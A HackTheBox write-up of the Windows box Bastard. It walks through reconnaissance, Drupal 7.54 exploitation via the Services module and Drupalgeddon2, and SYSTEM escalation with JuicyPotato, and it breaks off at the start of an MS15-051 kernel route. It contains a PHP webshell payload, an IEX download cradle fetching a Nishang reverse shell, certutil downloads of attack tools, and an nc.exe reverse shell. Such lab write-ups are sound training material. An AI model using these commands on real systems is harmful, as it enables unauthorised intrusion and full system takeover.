the_open_door
coffee
ESEN

Bastard

HackTheBoxMediumWindows10.10.10.9

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#drupal#drupalgeddon2#cve-2018-7600#cve-2019-6340#insecure-deserialization#rce#seimpersonate#juicypotato#ms15-051#windows-kernel-exploit#droopescan#nishang
TL;DR. Bastard is a Windows box running Drupal 7.54 on IIS. The version is vulnerable to two different RCE paths: CVE-2019-6340 in the Services module (insecure deserialization, see Drupalgeddon) and the famous Drupalgeddon2 (CVE-2018-7600). Both give a shell as nt authority\iusr. From there, SeImpersonatePrivilege lets us escalate with JuicyPotato (SeImpersonate abuse); as an alternative, the unpatched kernel falls to MS15-051 (kernel exploit).

Recon

Fingerprinting the OS through the TTL

ping -c 1 10.10.10.9

ping to 10.10.10.9 with ttl=127

64 bytes from 10.10.10.9: icmp_seq=1 ttl=127 time=115 ms

TTL 127 → Windows: Windows starts the TTL at 128 and every routing hop decrements it, so 127 = 128−1; a hint, not proof (it can be spoofed), confirmed by the service scan.

UDP scan

Before TCP, a sweep of the 100 most common UDP ports. The grep -v 'no-response' strips the noise of ports that never answer, which in UDP is the vast majority (the absence of a reply is ambiguous: it can mean open-and-silent or filtered).

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.10.9 | grep -v 'no-response'

UDP scan output: the PORT STATE SERVICE REASON table comes back empty, with no rows at all

Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-11 09:40 UTC
Initiating UDP Scan at 09:40
Scanning 10.10.10.9 [100 ports]
Completed UDP Scan at 09:40, 2.14s elapsed (100 total ports)
Nmap scan report for 10.10.10.9
Host is up, received user-set.
Scanned at 2025-12-11 09:40:43 UTC for 2s

PORT      STATE     SERVICE      REASON

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.22 seconds

The table comes back empty: not a single open UDP port among the 100 most common ones. It is a dead end, but one worth walking: had an SNMP or a TFTP shown up, the box would have gone another way.

Full TCP scan

The TCP scan runs through a .zshrc function. Since it hides the real command, here is its source, so the scan is reproducible without having it installed:

alias cat="batcat --paging=never"

jmap () {
        echo -e "\n[+] Introduce una IP\n"
        read ip
        echo
        sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan | cat -l java
}

The direct equivalent, without the function, is:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.9 -oG scan

jmap output: nmap discovers ports 80, 135 and 49154 open, all three with syn-ack ttl 127

Discovered open port 80/tcp on 10.10.10.9
Discovered open port 135/tcp on 10.10.10.9
Discovered open port 49154/tcp on 10.10.10.9
Completed SYN Stealth Scan at 09:41, 26.46s elapsed (65535 total ports)
Nmap scan report for 10.10.10.9
Host is up, received user-set (0.11s latency).
Scanned at 2025-12-11 09:41:10 UTC for 27s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE REASON
80/tcp    open  http    syn-ack ttl 127
135/tcp   open  msrpc   syn-ack ttl 127
49154/tcp open  unknown syn-ack ttl 127

Three ports, and the REASON column confirms through a second channel what ping said: ttl 127. That the remaining 65532 come back as filtered (and not closed) points to a firewall silently dropping packets instead of replying with an RST.

The second function, extractPorts, does not scan: it parses the scan file in grepable format and drops the ports into the clipboard.

extractPorts () {
        echo -e "Extracting information..."

        ip_address=$(grep -oP 'Host: \K\S+' "$1" | head -n 1)

        ports=$(grep -oP '\d+(?=/open)' "$1" | tr '\n' ',' | sed 's/,$/\n/')
        echo -e "IP Address: $ip_address"
        echo -e "Open ports: $ports\n"
        {
                echo -e "IP Address: $ip_address"
                echo -e "Open ports: $ports\n"
        } >> extractPorts.tmp
        echo "$ports" | xclip -sel clip
        echo -e "Ports copied to clipboard\n"
        cat extractPorts.tmp
        rm extractPorts.tmp
}
extractPorts scan

extractPorts output: IP Address 10.10.10.9 and Open ports 80,135,49154, copied to the clipboard

Extracting information...
IP Address: 10.10.10.9
Open ports: 80,135,49154

Ports copied to clipboard

IP Address: 10.10.10.9
Open ports: 80,135,49154

Versions and scripts against the open ports

And the third one, jmap2, runs the version scan against those three ports:

jmap2 () {

        if [ "$#" -ne 2 ]
        then
                echo "Uso: jmap2 <ip> <ports>"
                return 1
        fi

        local ip="$1"
        local ports="$2"
        nmap -p"$ports" -sCV "$ip" | cat -l java
}
nmap -p80,135,49154 -sCV 10.10.10.9

nmap -sCV output: IIS 7.5, robots.txt with 36 disallowed entries including /CHANGELOG.txt, http-generator Drupal 7 and the two RPC ports

PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
| http-methods:
|_  Potentially risky methods: TRACE
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to Bastard | Bastard
135/tcp   open  msrpc   Microsoft Windows RPC
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Ports 135 and 49154 are RPC, of little use without credentials. The vector is on 80: IIS 7.5 serving a Drupal 7. And robots.txt, which exists to tell search engines what not to index, does exactly the opposite for us: it hands over a map of the installation, with /CHANGELOG.txt among its 36 entries. That file usually carries the exact version.

HTTP - TCP 80: identifying technologies

whatweb http://10.10.10.9

Single-line whatweb output: Drupal, Microsoft-IIS 7.5, PHP 5.3.28, MetaGenerator Drupal 7 and Title Welcome to Bastard

http://10.10.10.9 [200 OK] Content-Language[en], Country[RESERVED][ZZ], Drupal, HTTPServer[Microsoft-IIS/7.5], IP[10.10.10.9], JQuery, MetaGenerator[Drupal 7 (http://drupal.org)], Microsoft-IIS[7.5], PHP[5.3.28,], PasswordField[pass], Script[text/javascript], Title[Welcome to Bastard | Bastard], UncommonHeaders[x-content-type-options,x-generator], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/5.3.28, ASP.NET]

One piece of new information over nmap: PHP 5.3.28, a 2013 release long out of support. Wappalyzer, from the browser, adds the JavaScript library version:

Bastard's front page with the Wappalyzer panel open: Drupal 7, PHP 5.3.28, Microsoft ASP.NET, Windows Server, IIS 7.5 and jQuery 1.4.4

CMS                   Drupal 7
Programming languages PHP 5.3.28
Web frameworks        Microsoft ASP.NET
Operating systems     Windows Server
Web servers           IIS 7.5
JavaScript libraries  jQuery 1.4.4

jQuery 1.4.4 is from 2010 and carries known XSS and prototype pollution issues. It is a hint of how outdated everything is, but not a direct vector: the front page only has a login form. On to the CMS.

HTTP - TCP 80: source code

Front page source showing the bartik theme paths, the jquery.js?v=1.4.4 include and the Drupal.settings object

<script type="text/javascript" src="http://10.10.10.9/misc/jquery.js?v=1.4.4"></script>
<script type="text/javascript" src="http://10.10.10.9/misc/jquery.once.js?v=1.2"></script>
<script type="text/javascript" src="http://10.10.10.9/misc/drupal.js?on28x3"></script>
jQuery.extend(Drupal.settings, {"basePath":"\/","pathPrefix":"","ajaxPageState":{"theme":"bartik", ...
<body class="html front not-logged-in one-sidebar sidebar-first page-node" >

The source hides nothing: it is stock Drupal HTML with the default bartik theme. It confirms the jQuery version and little else. Another dead end to note before moving on to fuzzing.

HTTP - TCP 80: content discovery

gobuster dir -u http://10.10.10.9/ -w /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 2>/dev/null

gobuster output with dozens of paths: /modules, /themes, /misc, /user 200, /scripts, /admin 403, /sites, /includes, /profiles and their capitalised variants

/modules              (Status: 301) [Size: 149] [--> http://10.10.10.9/modules/]
/themes               (Status: 301) [Size: 148] [--> http://10.10.10.9/themes/]
/misc                 (Status: 301) [Size: 146] [--> http://10.10.10.9/misc/]
/search               (Status: 403) [Size: 1233]
/user                 (Status: 200) [Size: 7411]
/scripts              (Status: 301) [Size: 149] [--> http://10.10.10.9/scripts/]
/admin                (Status: 403) [Size: 1233]
/tag                  (Status: 403) [Size: 1233]
/sites                (Status: 301) [Size: 147] [--> http://10.10.10.9/sites/]
/template             (Status: 403) [Size: 1233]
/includes             (Status: 301) [Size: 150] [--> http://10.10.10.9/includes/]
/profiles             (Status: 301) [Size: 150] [--> http://10.10.10.9/profiles/]
/Misc                 (Status: 301) [Size: 146] [--> http://10.10.10.9/Misc/]
/root                 (Status: 403) [Size: 1233]
/repository           (Status: 403) [Size: 1233]

Plenty of paths, but nearly all of them are the stock Drupal skeleton (the same ones robots.txt already listed) or duplicates by capitalisation, because Windows paths are case-insensitive. Before wasting time going through them one by one, it is better to enumerate the CMS with a tool that understands it.

Drupal enumeration with droopescan

droopescan has Python dependencies that clash with modern versions, so the cleanest option is to run it inside a container:

docker run -it --rm --entrypoint /bin/bash asannou/droopescan

Docker pulling the asannou/droopescan image and the droopescan v1.33.7 banner with its example invocations

Unable to find image 'asannou/droopescan:latest' locally
latest: Pulling from asannou/droopescan
...
Status: Downloaded newer image for asannou/droopescan:latest
root@331332a0b0c0:/wd# droopescan
                                                    v1.33.7
Example invocations:
  droopescan scan drupal -u URL_HERE
  droopescan scan silverstripe -u URL_HERE
droopescan scan drupal -u http://10.10.10.9/ --threads-scan 100

droopescan output: plugins ctools, libraries, services, profile, php and image; themes seven and garland; and Possible version(s) 7.54

[+] Plugins found:
    ctools http://10.10.10.9/sites/all/modules/ctools/
    libraries http://10.10.10.9/sites/all/modules/libraries/
    services http://10.10.10.9/sites/all/modules/services/
    profile http://10.10.10.9/modules/profile/
    php http://10.10.10.9/modules/php/
    image http://10.10.10.9/modules/image/

[+] Themes found:
    seven http://10.10.10.9/themes/seven/
    garland http://10.10.10.9/themes/garland/

[+] Possible version(s):
    7.54

[+] Possible interesting urls found:
    Default changelog file - http://10.10.10.9/CHANGELOG.txt
    Default admin - http://10.10.10.9/user/login

[+] Scan finished (0:52:32.592174 elapsed)

Fifty-two minutes of scanning (slow, because it probes known paths one at a time), but with two results worth their weight: the likely version 7.54 and, above all, the services module installed. That module is what exposes Drupal's REST API, and it has an RCE of its own.

Confirming the version: CHANGELOG.txt

droopescan says "possible", so we confirm it by reading the file robots.txt had already pointed at:

CHANGELOG.txt showing Drupal 7.54

Drupal 7.54, 2017-02-01

Version nailed down: Drupal 7.54.

Hunting for exploits

With the version locked in, searchsploit. The search goes for 7.x rather than 7.54 on purpose: generic exploits for a branch cover more versions and tend to be better tested than ones targeting one exact release.

searchsploit 'Drupal 7.x'
searchsploit -m php/webapps/41564.php

searchsploit output with the Drupal 7.x exploit list; the first one, Module Services - Remote Code Execution, is boxed in red, and below it the copy of 41564.php

 Exploit Title                                                              |  Path
----------------------------------------------------------------------------------------------
Drupal 7.x Module Services - Remote Code Execution                          | php/webapps/41564.php
Drupal < 7.34 - Denial of Service                                           | php/dos/35415.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)    | php/webapps/44557.rb
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE           | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE (Metasploit)       | php/webapps/44482.rb
Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit)           | php/remote/40130.rb
----------------------------------------------------------------------------------------------

  Exploit: Drupal 7.x Module Services - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/41564
     Path: /usr/share/exploitdb/exploits/php/webapps/41564.php
  Verified: True
File Type: C++ source, ASCII text
Copied to: /home/krmena/41564.php

There are two strong candidates, so we show both: 41564.php for the Services module (which droopescan just confirmed is installed) and 44449.rb for Drupalgeddon2.

RCE: CVE-2019-6340 (Services module)

Reading the exploit before running it

You never run a downloaded exploit without opening it. Here it is mandatory anyway, because it ships with example values that do not work:

41564.php source in nano: the three-stage header, and boxed in red the example $url vmweb.lan and the $file block with dixuSOspsOUU.php

#!/usr/bin/php
<?php
# Drupal Services Module Remote Code Execution Exploit
# https://www.ambionics.io/blog/drupal-services-module-rce
#
# Three stages:
# 1. Use the SQL Injection to get the contents of the cache for current endpoint
#    along with admin credentials and hash
# 2. Alter the cache to allow us to write a file and do so
# 3. Restore the cache

define('CONTROLLER', 'user');
define('ACTION', 'login');

$url = 'http://vmweb.lan/drupal-7.54';
$endpoint_path = '/rest_endpoint';
$endpoint = 'rest_endpoint';

$file = [
    'filename' => 'dixuSOspsOUU.php',
    'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'
];

The header spells out the whole chain in three stages: (1) an SQLi to steal the endpoint's cache contents along with the admin credentials, (2) altering that cache to be allowed to write a file and writing it, and (3) restoring the cache so the installation is not left broken. All of it starts from an insecure deserialization in the module's login (insecure deserialization in Drupal).

Three things need changing: $url (trivial), the filename and its contents (the default payload is an eval(file_get_contents('php://input')), handy but awkward to drive from curl) and, the hard one, $endpoint_path.

Locating the REST endpoint

The endpoint_path is the route under which the Services module publishes its API, and whoever installs the module picks it. The exploit's example value need not match, and here it does not:

http://10.10.10.9/rest_endpoint

The /rest_endpoint route returns Drupal's error page: Page not found, The requested page "/rest_endpoint" could not be found

Page not found
The requested page "/rest_endpoint" could not be found.

We have to discover the real name. In Drupal, all published content hangs off /node/<id> with a numeric identifier, and that covers articles, pages and sometimes the API's own internal documentation (a concept covered on HackTricks' Drupal page). Walking the nodes from 1:

http://10.10.10.9/node/1

Drupal node 1 shows a sidebar block titled REST with an api_test link

REST
  api_test

The node publishes a block called REST with an api_test link, which is the endpoint's display name. Following it takes us to the real route, and the service identifies itself:

http://10.10.10.9/rest

The /rest route returns the text Services Endpoint "rest_endpoint" has been setup successfully

Services Endpoint "rest_endpoint" has been setup successfully.

There is a distinction here worth keeping straight, because it is exactly why the exploit failed: the endpoint's internal name really is rest_endpoint (which is why $endpoint stays as it is), but the route it is reached through is /rest. The exploit was using the internal name as the route too.

Adjusting the exploit

Edited exploit source: $url pointing at 10.10.10.9, $endpoint_path at /rest, and the $file block now writing shell.php with system($_GET["cmd"])

$url = 'http://10.10.10.9';
$endpoint_path = '/rest';
$endpoint = 'rest_endpoint';

$file = [
    'filename' => 'shell.php',
    'data' => '<?php system($_GET[\"cmd\"]); ?>'
];

The payload is swapped for a classic cmd-parameter webshell, which can be driven with a one-line curl instead of having to ship the code in the request body.

Uploading the webshell

php drupal_exploit.php
curl "http://10.10.10.9/shell.php?cmd=whoami"

The exploit storing session.json and user.json, reporting 7 cache entries and writing shell.php; the curl returns nt authority\iusr

# Exploit Title: Drupal 7.x Services Module Remote Code Execution
# Vendor Homepage: https://www.drupal.org/project/services
# Exploit Author: Charles FOL
# Website: https://www.ambionics.io/blog/drupal-services-module-rce

Stored session information in session.json
Stored user information in user.json
Cache contains 7 entries
File written: http://10.10.10.9/shell.php

nt authority\iusr

The output follows the three stages of the header: it saves the session and user stolen by the SQLi, reports that the cache held 7 entries (the ones it will tamper with and then restore) and confirms the file write. The curl closes the loop: we have RCE as nt authority\iusr, IIS's anonymous account.

From webshell to reverse shell

A ?cmd= over curl gives no state and no comfort. We load Nishang's Invoke-PowerShellTcp into memory, which opens a PowerShell shell back to our listener without touching the victim's disk:

Nishang's GitHub repository, with Shells/Invoke-PowerShellTcp.ps1 selected and the context menu over the Raw button to copy the URL

samratashok / nishang  ->  nishang / Shells / Invoke-PowerShellTcp.ps1
wget https://github.com/samratashok/nishang/raw/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1
nano Invoke-PowerShellTcp.ps1
mv Invoke-PowerShellTcp.ps1 pwned.ps1
tail -n 2 pwned.ps1

wget downloading the 4339-byte .ps1 from raw.githubusercontent.com, the rename to pwned.ps1 and the tail showing the line Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.4 -Port 4444

HTTP request sent, awaiting response ... 200 OK
Length: 4339 (4.2K) [text/plain]
Saving to: 'Invoke-PowerShellTcp.ps1'
'Invoke-PowerShellTcp.ps1' saved [4339/4339]

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.4 -Port 4444

The detail that makes this work is in the tail: the Nishang script only defines the Invoke-PowerShellTcp function, it does not call it. You have to append the call with your own IP and port to the end of the file by hand. Without that line the server downloads the script, defines the function and nothing else happens.

With the file ready, the listener and the web server that serves it. Here we use Penelope, which acts as nc on steroids (it upgrades the TTY, logs the session to disk and handles several shells at once):

penelope
python3 -m http.server 80
curl "http://10.10.10.9/shell.php?cmd=powershell%20IEX(New-Object%20Net.WebClient).downloadString('http://10.10.16.4/pwned.ps1')"

Penelope listening on 0.0.0.0:4444 and catching the session from BASTARD; the python server logs the GET /pwned.ps1 with a 200; whoami returns nt authority\iusr in C:\inetpub\drupal-7.54

[+] Listening for reverse shells on 0.0.0.0:4444 -> 127.0.0.1 . 192.168.1.80 . 172.17.0.1 . 10.10.16.4
[+] Got reverse shell from BASTARD~10.10.10.9-Microsoft_Windows_Server_2008_R2_Datacenter SessionID <1>
[+] Added readline support ...
[+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D
[+] Logging to /root/.penelope/sessions/BASTARD~10.10.10.9-Microsoft_Windows_Server_2008_R2_Datacenter/2025_12_13-17_47_52-266.log

PS C:\inetpub\drupal-7.54> whoami
nt authority\iusr

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.9 - - [13/Dec/2025 17:47:48] "GET /pwned.ps1 HTTP/1.1" 200 -

The listener's port (4444) is the same one written into the last line of the .ps1: if they do not match, the connection never arrives. The http.server log is the proof that the victim downloaded the script, and Penelope already gives away the operating system (Windows_Server_2008_R2_Datacenter) and the CMS directory: C:\inetpub\drupal-7.54.

Alternative RCE: Drupalgeddon2 (CVE-2018-7600)

That same Drupal 7.54 is vulnerable to Drupalgeddon2 (CVE-2018-7600), a direct RCE in core caused by incomplete sanitisation of Render Arrays in AJAX requests: the attacker injects properties such as #post_render or #lazy_builder through URL parameters and form data, and Drupal ends up invoking whatever system function it is handed.

searchsploit 'drupal 7.x'
searchsploit -m php/webapps/44449.rb
mv 44449.rb drupal_exploit.rb

searchsploit copying 44449.rb, with Codes: CVE-2018-7600 and the destination path, followed by the rename to drupal_exploit.rb

  Exploit: Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution
      URL: https://www.exploit-db.com/exploits/44449
     Path: /usr/share/exploitdb/exploits/php/webapps/44449.rb
    Codes: CVE-2018-7600
 Verified: True
File Type: Ruby script, ASCII text
Copied to: /home/krmena/machines/bastart/exploits/44449.rb

This one is a push-button exploit: nothing to edit.

ruby drupal_exploit.rb http://10.10.10.9

Drupalgeddon2 confirming Drupal v7.54, validating code execution, failing to write to three web root paths and dropping back to direct OS commands with whoami returning nt authority\iusr

[*] --==[::#Drupalggedon2::]==--
[i] Target : http://10.10.10.9/
[+] Found  : http://10.10.10.9/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.54
[*] Testing: Form   (user/password)
[+] Result : Form valid
[*] Testing: Clean URLs
[+] Result : Clean URLs enabled
[*] Testing: Code Execution   (Method: name)
[i] Payload: echo OJBGYGSW
[+] Result : OJBGYGSW
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
[*] Testing: Writing To Web Root   (./)
[!] Target is NOT exploitable [2-2] (HTTP Response: 200)...  Got an empty response back
[*] Testing: Writing To Web Root   (sites/default/)
[!] Target is NOT exploitable [2-4] (HTTP Response: 404)...  Might not have write access?
[*] Testing: Writing To Web Root   (sites/default/files/)
[!] Target is NOT exploitable [2-4] (HTTP Response: 404)...  Might not have write access?
[!] FAILED : Couldn't find a writeable web path
[*] Dropping back to direct OS commands
drupalgeddon2>> whoami
nt authority\iusr

This output is worth reading in full rather than jumping to the result, because it shows how a well-built exploit is designed. It first verifies the version through CHANGELOG.txt, then checks the form responds, then validates code execution with an echo of a random string (OJBGYGSW) and only then attempts the interesting part. And when it fails to write the webshell into the three paths it tries (write permissions on IIS's web root), it does not give up: it degrades to a prompt running direct OS commands. Same destination, different road.

User flag

Both roads end at the same place, nt authority\iusr. The flag is on the desktop of the box's only real user:

cd C:\Users
dir
type dimitris\desktop\user.txt

Listing of C:\Users with Administrator, Classic .NET AppPool, dimitris and Public, and the type of user.txt

    Directory: C:\Users

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----        19/3/2017      1:20            Administrator
d----        19/3/2017      1:54            Classic .NET AppPool
d----        19/3/2017      7:35            dimitris
d-r--        14/7/2009      7:57            Public

PS C:\Users> type dimitris\desktop\user.txt
ad659ec638f51bfb6a2f583dfbe78166

There is only one human account (dimitris) besides Administrator and the .NET pool service account. That simplifies the goal: no lateral pivot, the next stop is SYSTEM.

Privilege escalation

Abusing SeImpersonatePrivilege with JuicyPotato

whoami /priv

whoami /priv output showing SeImpersonatePrivilege in the Enabled state

PRIVILEGES INFORMATION
----------------------
Privilege Name           Description                                State
======================== ========================================== =======
SeChangeNotifyPrivilege  Bypass traverse checking                   Enabled
SeImpersonatePrivilege   Impersonate a client after authentication  Enabled
SeCreateGlobalPrivilege  Create global objects                      Enabled

iusr has SeImpersonatePrivilege set to Enabled, the classic door to SYSTEM via JuicyPotato. It is a privilege service accounts (IIS, SQL Server) carry by default because they need it to serve requests on behalf of third parties, and that is precisely the problem: whoever can impersonate a client can impersonate whichever one suits them.

First, pinning down the operating system precisely, because that is what decides which CLSID to use:

systeminfo

systeminfo: Microsoft Windows Server 2008 R2 Datacenter, version 6.1.7600 Build 7600

OS Name:     Microsoft Windows Server 2008 R2 Datacenter
OS Version:  6.1.7600 N/A Build 7600

A Windows Server 2008 R2 Datacenter, build 7600, which is the RTM with no Service Pack at all. That fact will matter for the alternative route too.

Uploading nc.exe and JuicyPotato

We need two binaries on the machine. First netcat for Windows, downloaded from eternallybored.org (the project maintaining up-to-date builds of the original utility):

wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip &>/dev/null
unzip netcat-win32-1.12.zip &>/dev/null
rm nc.exe
mv nc64.exe nc.exe
python3 -m http.server 80
cd C:\Windows\temp
mkdir privesc
cd privesc
certutil.exe -f -urlcache -split http://10.10.16.4/nc.exe nc.exe

The netcat zip unpacked, nc64.exe renamed to nc.exe and the victim's certutil downloading it into C:\Windows\temp\privesc with two GET /nc.exe on the server

PS C:\Windows\temp\privesc> certutil.exe -f -urlcache -split http://10.10.16.4/nc.exe nc.exe
****  Online  ****
  0000  ...
  b0d8
CertUtil: -URLCache command completed successfully.

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.9 - - [13/Dec/2025 18:11:20] "GET /nc.exe HTTP/1.1" 200 -

The rm nc.exe followed by mv nc64.exe nc.exe is not a whim: the zip ships both the 32-bit and the 64-bit build, and what gets uploaded here is the 64-bit one under the short name. certutil.exe is a signed Windows binary whose -urlcache -split option doubles as an HTTP downloader: it is used because it is always present and does not raise the flags that uploading a transfer tool would.

Then JuicyPotato from its official repository:

wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe &>/dev/null
mv JuicyPotato.exe JP.exe
python3 -m http.server 80
certutil.exe -f -urlcache -split http://10.10.16.4/JP.exe JP.exe
dir

certutil downloading JP.exe and the dir of C:\Windows\temp\privesc showing JP.exe at 347648 bytes and nc.exe at 45272

PS C:\Windows\temp\privesc> certutil.exe -f -urlcache -split http://10.10.16.4/JP.exe JP.exe
CertUtil: -URLCache command completed successfully.
PS C:\Windows\temp\privesc> dir

    Directory: C:\Windows\temp\privesc

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---        13/12/2025      8:12     347648 JP.exe
-a---        13/12/2025      8:11      45272 nc.exe

Both files are in place and at the expected size. The dir is the verification: had certutil failed half way, the file would be truncated and the exploit would die with a cryptic error.

Picking the right CLSID

JuicyPotato needs to be told a CLSID: the identifier of a COM object the system starts under a privileged account, which is who we are going to impersonate. Each Windows version has its own, and the repository publishes lists per operating system:

CLSID table from the JuicyPotato repository titled Windows Server 2008 R2 Enterprise, with wuauserv, winmgmt and TrustedInstaller running as NT AUTHORITY\SYSTEM

Windows Server 2008 R2 Enterprise

LocalService     AppId                                    CLSID                                    User
wuauserv         {653C5148-4DCE-4905-9CFD-1B23662D3D9E}   {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}   NT AUTHORITY\SYSTEM
wuauserv         {653C5148-4DCE-4905-9CFD-1B23662D3D9E}   {e60687f7-01a1-40aa-86ac-db1cbf673334}   NT AUTHORITY\SYSTEM
winmgmt          {8BC3F05E-D86B-11D0-A075-00C04FB68820}   {C49E32C6-BC8B-11d2-85D4-00105A1F8304}   NT AUTHORITY\SYSTEM
TrustedInstaller {752073A2-23F2-4396-85F0-8FDB879ED0ED}   {752073A1-23F2-4396-85F0-8FDB879ED0ED}   NT AUTHORITY\SYSTEM

An honest caveat: the available list is for Server 2008 R2 Enterprise and our machine is Datacenter. Not the same edition, but they share the same core and the same set of COM services, so the CLSID values stand a good chance of working. We take the wuauserv one (the Windows Update service), which runs as NT AUTHORITY\SYSTEM.

Firing JuicyPotato

.\JP.exe -l 1337 -p cmd.exe -a "/c C:\Windows\Temp\privesc\nc.exe -e cmd.exe 10.10.16.4 1234" -t * -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"

Every flag counts: -l 1337 is the local port where JuicyPotato stands up its fake COM server, -p cmd.exe the program to launch, -a its arguments (the nc.exe we just uploaded pointing at our listener), -t * tries both process-creation techniques (CreateProcessWithToken and CreateProcessAsUser) and -c is the chosen CLSID.

JuicyPotato returning authresult 0 with the CLSID resolving to NT AUTHORITY\SYSTEM and the listener catching the shell, where whoami returns nt authority\system

[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
...
C:\Windows\system32>whoami
nt authority\system

The authresult 0 and the ;NT AUTHORITY\SYSTEM next to the CLSID are the confirmation that the impersonation worked: the COM object authenticated against our fake server and handed over its token.

Root flag

type of root.txt from the SYSTEM shell returning 8c09d68eeaa4822b83fa5b1a00a2b709

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
8c09d68eeaa4822b83fa5b1a00a2b709

Box pwned.

Alternative route: MS15-051 kernel exploit

A Server 2008 R2 RTM with no hotfixes also falls through the kernel. The first attempt is windows-exploit-suggester, which compares the systeminfo output against Microsoft's bulletin database:

python2 windows-exploit-suggester.py -u
python2 windows-exploit-suggester.py --database 2025-12-13-mssb.xls --systeminfo systeminfo.txt

windows-exploit-suggester output: 0 hotfixes against 197 bulletins, version identified as Windows 2008 R2 64-bit, and a list from MS13-009 down to MS09-072 marked with [M] and [E]

[*] initiating winsploit version 3.3...
[*] comparing the 0 hotfix(es) against the 197 potential bulletins(s) with a database of 137 known exploits
[*] there are now 197 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2008 R2 64-bit'
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930)
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*]   http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*]   http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802)
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957)
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852)

The 0 hotfix(es) says it all: the machine has not a single update installed, which is why 197 bulletins remain undismissed. The problem is the opposite of what you would expect: there are too many candidates and the tool only prints concrete links for MS12-037, which are two Internet Explorer PoC of no use for escalating privileges. The list is a pointer, not something actionable.

We switch to Sherlock, which instead of comparing against a database queries the system's real state from the inside:

rasta-mouse's Sherlock repository on GitHub, marked Public archive and carrying the notice Deprecated. Have a look at Watson instead

rasta-mouse / Sherlock   (Public archive)
This repository was archived by the owner on Sep 17, 2021. It is now read-only.
Deprecated. Have a look at Watson instead.

The repository itself warns it is archived and recommends Watson. For a Server 2008 R2 it still works perfectly, but it is worth knowing: on modern systems you want the successor.

git clone https://github.com/rasta-mouse/Sherlock
cd Sherlock
python3 -m http.server 80
IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4/Sherlock.ps1')

git clone of Sherlock, the python server logging the GET /Sherlock.ps1 with 200, and the IEX run from the victim's shell

Cloning into 'Sherlock'...
Receiving objects: 100% (75/75), 33.97 KiB | 6.79 MiB/s, done.

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.9 - - [13/Dec/2025 19:07:04] "GET /Sherlock.ps1 HTTP/1.1" 200 -

PS C:\> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4/Sherlock.ps1')
PS C:\Windows\Temp\privesc>

The IEX loads the script into memory: it leaves no file on disk and, once finished, the functions remain available in that PowerShell session.

Find-AllVulns

Sherlock flagging MS15-051 as Appears Vulnerable

Title      : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID      : 2015-1701, 2015-2433
VulnStatus : Appears Vulnerable

MS15-051 (kernel elevation) is among the most reliable ones for this generation of Windows. Instead of the binary attached to the bulletin we use the compiled one from the SecWiki repository:

